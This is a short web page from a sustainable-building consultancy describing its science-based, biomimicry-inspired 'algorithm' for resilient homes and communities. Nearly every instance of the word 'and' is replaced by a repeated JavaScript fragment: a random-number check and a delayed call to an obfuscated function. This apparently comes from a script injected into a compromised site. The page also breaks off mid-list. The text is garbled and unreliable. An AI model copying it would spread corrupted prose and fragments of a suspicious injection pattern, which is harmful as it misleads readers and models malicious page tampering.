Resilience Science for Buildings, Communities & Cities

NGBC catalyzes clients to think more deeply about how to design & construct sustainable homes, communities andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and complex initiatives. Our approach is science-based but pragmatic, for designers, practitioners andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and doers, using resilience science, biomimicry, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and building science that integrates ecology andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the sciences of life. Our algorithm, ultimately, is coevolutionary andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and devoted to enhancing the living world, in verifiable biocultural/physical ways & metrics.

Our process is a science-based algorithm andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and way of thinking for designers & practitioners to cost-effectively enhance the resilience andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and adaptive capacity of homes andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and communities. As an algorithm, we can uniquely adapt the process to actuate the specific goals of any project, client or initiative.

Results take form as:
